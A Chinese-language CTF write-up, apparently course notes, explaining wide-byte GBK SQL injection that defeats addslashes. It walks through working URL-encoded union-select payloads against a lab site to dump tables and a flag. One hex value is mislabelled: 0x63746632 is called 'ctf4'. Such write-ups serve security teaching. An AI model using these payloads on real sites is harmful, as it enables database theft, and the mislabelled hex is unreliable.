宽字符注入
注:
1.本文是对安全牛《CTF从入门到提升》课程课时1的记录
基础知识
1.addslashes函数
php中的addslashes()
会在单引号('
),双引号("
),反斜线(\
)与NUL
(NULL字符)前面加上反斜线,使得这些特殊字符被转义
而在sql注入中,我们经常要用到单引号,因此要想办法从addslashes函数中逃逸出来,办法有两个
\
前面再加一个\
(或单数个),变成\\'
,这样\
被转义了,'
逃出了限制- 把
\
弄没
而宽字符注入就是采用了第二个方法
2.mysql中的gbk编码
gbk编码中英文使用单字节编码,中文部分采用双字节编码
mysql在使用了gbk编码的情况下,如果一个字节大于128(ascii码),则mysql会认为该字节和下一个字节是一个汉字
1 | mysql_query("SET NAMES GBK"); #设置mysql编码为gbk |
利用这一点,我们可以把addslashes
函数添加的\
弄成汉字,从而使用单引号
举个例子:%df\\'
url转码后为%df%5c%27
,此时mysql会认为它是 運'
具体例子
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
id=1’时会返回
your sql:select id,title from news where id = ‘1'‘
因此可以尝试使用宽字节注入
id=1%aa’ 返回
your sql:select id,title from news where id = ‘1猏’’
使用宽字节注入,成功闭合了单引号,接下来是常规的注入操作
1.猜测列数
id=1%aa%27%20order by 2%23
没有报错id=1%aa%27%20order by 3%23
报错
因此列数为22.获取数据库名和表名
id=-1%aa%27 union select 1,2%23
发现2会显示在页面上id=-1%aa%27 union select 1,database()%23
获取数据库名为sae-chinaloverid=-1%aa%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23 获取表名ctf,ctf2,ctf3,ctf4,news
3.获取列名
id=-1%aa%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746632%23
(0x63746632是ctf4的十六进制形式,因为这里我们没办法使用单引号,所以必须要用十六进制的形式)4.获取表中内容
id=-1%aa%27%20union%20select%201,group_concat(flag) from ctf4%23
获取flag列内容